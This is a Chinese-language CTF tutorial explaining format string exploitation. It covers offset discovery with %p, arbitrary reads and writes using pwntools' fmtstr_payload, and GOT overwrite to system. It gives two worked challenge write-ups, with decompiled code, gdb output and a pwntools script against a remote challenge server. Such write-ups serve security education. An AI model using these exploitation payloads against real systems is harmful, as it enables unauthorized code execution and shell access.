利用原理:

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根根据它来解析后面的参数。简单来说格式化字符串的漏洞就是格式字符串要求的参数和实际提供的参数不匹配。

一般来说格式化字符串在利用时主要分为三个部分:

  • 格式化字符串函数
  • 要格式化的字符串
  • 后续参数(可选)

利用思路:

一般先以ret2libc作为辅助用于泄露system函数的真实地址,在将system函数的地址写入到连接printf函数(或类似的输出函数)got表中,从而以欺骗的方式在执行printf时实际执行的是system函数,获得bash读取栈和任意地址

任意地址读

  1. 假设向程序中输入多个格式字符
    1
    2
    3
    4
    gef➤  c
    Continuing.
    0xffffdafc
    aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p 
  2. 0x61616161处便是aaaa字符串开始的地方
    1
    2
    3
    gef➤  c
    Continuing.
    aaaa0xffffda98.0xf7fcd410.0x8049199.(nil).0x1.0x61616161.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025[Inferior 1 (process 128897) exited normally]

0x61616161是输出的第6个字符,所以使用%6$s 即可读出该地址,这便是手工计算偏移量的方法

任意地址写

直接使用pwntools的fmtstr_payload函数 如:

需要在0xffffdafc 该地址上写入数据0x5201314

1
fmtstr_payload(7,{0xffffdafc:0x5201314})

前提是需要先确定好字符串的偏移量,这上面为7

解题步骤

  1. 使用gdb确定字符串参数的偏移量
  2. 如果程序中存在敏感的系统函数,可以直接打印,否则:
    • 获取某I\O函数a的got表地址
    • 获取对应的libc.so版本,从而得到system函数的地址
  3. 修改函数a的再got表地址中的值为system的地址
  4. 当程序再次执行函数a时,实际便是执行的system函数(一般在输入时输入/bin/sh)即可完成system函数的执行获取shell。

例题

Goodluck_x64

点击下载-提取码:bzqj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
v11 = __readfsqword(0x28u);
  fp = fopen("flag.txt""r");
  for ( i = 0; i <= 21; ++i )
    v10[i] = _IO_getc(fp);
  fclose(fp);
  v9 = v10;
  puts("what's the flag");
  fflush(_bss_start);
  format = 0LL;
  __isoc99_scanf("%ms", &format);
  for ( j = 0; j <= 21; ++j )
  {
    v4 = format[j];
    if ( !v4 || v10[j] != v4 )
    {
      puts("You answered:");
      printf(format);
      puts("\nBut that was totally wrong lol get rekt");
      fflush(_bss_start);
      return 0;
    }
  }
  printf("That's right, the flag is %s\n", v9);
  fflush(_bss_start);
  return 0;
}

思路

总体流程为:

  1. 先读取flag.txt文件的内容(flag内容限制在21个字符内),然后将内容赋值给v9

    也就是说flag是已经加载到程序中的,只要控制程序读取到此段地址内的值,即可不用管程序的其他代码

  2. 使用gdb调试,得到用户输入的字符串偏移量是10(加上前6个寄存器)

    1
    2
    3
    4
    5
    6
    7
    8
    0x00007fffffffe978│+0x00000x0000000000400890  →  <main+234> mov edi, 0x4009b8  ← $rsp
    0x00007fffffffe980│+0x00080x0000000031000001
    0x00007fffffffe988│+0x00100x0000000000602cb0  →  0x0000363534333231 ("123456"?)
    0x00007fffffffe990│+0x00180x0000000000602260  →  0x0000000000000000
    0x00007fffffffe998│+0x00200x00007fffffffe9a0  →  "flag{sadfsdfsafdsafsda"
    0x00007fffffffe9a0│+0x0028"flag{sadfsdfsafdsafsda"
    0x00007fffffffe9a8│+0x0030"fsdfsafdsafsda"
    0x00007fffffffe9b0│+0x00380x0000616473666173 ("safsda"?)
  3. 直接在程序中输入payload得到flag
    图片

Coverme

点击下载-提取码:5arb

思路

  1. IDA分析程序
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
    char s; // [esp+Ch] [ebp-40Ch]
    unsigned int v5; // [esp+40Ch] [ebp-Ch]
    v5 = __readgsdword(0x14u);
    puts("I like You, But....what's your name?");
    setvbuf(stdin020);
    setvbuf(stdout020);
    fgets(&s, 1024stdin);
    printf(&s);
    if ( key == 85988116 )
    getshell();
    else
    puts(" But I just like You.");
    return 0;
    }

    可以利用IDA的LazyIDA插件直接搜索涉及格式化字符串漏洞的函数
    图片

  2. 找到format string的关键代码后发现该段条件如果成立即可直接返回shell
    1
    2
    if ( key == 85988116 )
    getshell();
    即 利用格式化字符串漏洞将变量key地址内的值改为85988116
  3. 先查看变量key的地址
    1
    .data:0804A030 key             dd 0E9h
    测试格式化字符串的距离
    图片
    0x64636261 便是,即第7位
  4. 最后构造payload
    1
    payload = fmtstr_payload(7,{0x0804A030:0x5201314})
    0x0804A030是key的地址,而0x5201314便是key要等于的值

    思路:使用fmtstr任意地址写的特性
    为变量key赋上值,使之表达式成立,从而调用getshell函数

EXP

1
2
3
4
5
6
7
from pwn import *
#io = process('./coverme')
io = remote("120.79.17.251",10011)
io.sendline(payload)
io.interactive()
print p32(0x0804A030)
#abcd%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p